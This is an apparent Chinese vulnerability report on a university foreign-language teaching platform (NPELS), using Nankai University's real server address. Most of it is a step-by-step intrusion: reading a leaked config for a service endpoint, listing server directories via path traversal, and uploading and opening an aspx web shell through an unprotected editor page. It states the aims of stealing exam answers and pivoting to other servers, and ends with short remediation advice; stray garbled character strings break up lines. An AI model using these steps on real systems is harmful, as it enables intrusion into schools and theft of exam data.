新理念外语网络教学平台文件上传漏洞

admin

好多大学都在用这个教学平台，这个漏洞会导致直接拿到试题答案，甚至作为跳板继续渗透进入学校其他服务器中
% F* i. B+ F5 m
详细说明：

9 ], r# ?  _7 h$ k+ r: }% B以南开大学的为例:
http://222.30.60.3/NPELS
: G4 A9 ]) \# D: X. M/ P: }NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
<setting name="Update_CommonSvr_CommonService" serializeAs="String">
1 @# |6 E; {0 J/ z+ E" [$ U<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
</setting>
/ q1 j: t9 `6 ]* }) ^及版本号
" w; }- {3 j8 R<add key="TVersion" value="1, 0, 0, 2187">
$ B# C% _8 V$ |( u3 \" w</add>
直接访问
http://222.30.60.3/NPELS/CommonService.asmx
/ T# }9 U0 T7 W) C; z& e9 c使用GetTestClientFileList操作，直接 HTTP GET 列目录：
http://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
进一步列目录（返回的网页很大，可以直接 wget 下来）
http://222.30.60.3/NPELS/CommonS ... List?version=../../
# i3 p+ k; i' J& W- N
* q0 c7 [1 x, T) ^发现
http://zzxx.nankai.edu.cn/npelsv/editor/editor.htm
' L# @! S2 S6 s) y" w  F4 R1 j可以上传，直接上传aspx木马即可，不需要改后缀名或者文件头
3 g! @- z& r. k9 j9 x; t9 {! l1 W# {上传后继续列目录找到木马地址直接访问即可

OOXX

! T+ ]' w: ?' ~! Q" L, UGoogle "新理念外语网络教学平台" 测试了几个其他的站，都有类似的列目录上传方法
, Y+ C1 w) D( ]3 h漏洞证明：
: K- Z# C# r! \" H% B7 d
" _" b* h  G% L2 ~7 k, h列目录：
. Q3 k+ }3 E  ^' @9 Bhttp://222.30.60.3/NPELS/CommonS ... List?version=../../
1 B1 s( a, n* t文件上传：
, A9 k7 [6 w1 I; Q: i0 Khttp://222.30.60.3/npelsv/editor/editor.htm

上传木马：
http://222.30.60.3/npelsv/editor/uploadfiles/1.aspx
- h, @, P1 [: u. o" v8 C3 D
/ s' A% d% O: G: J- M8 y: i修复方案：
好像考试系统必须使用 CommonService.asmx
8 s; Y  D  u3 S. ]1 M: R最好配置文件加密或者用别的方式不让它泄露出来
. Q* W* J+ M. f: M7 U并且检查或删除各上传入口，像 http://222.30.60.3/NPELS/Upload.aspx 一样​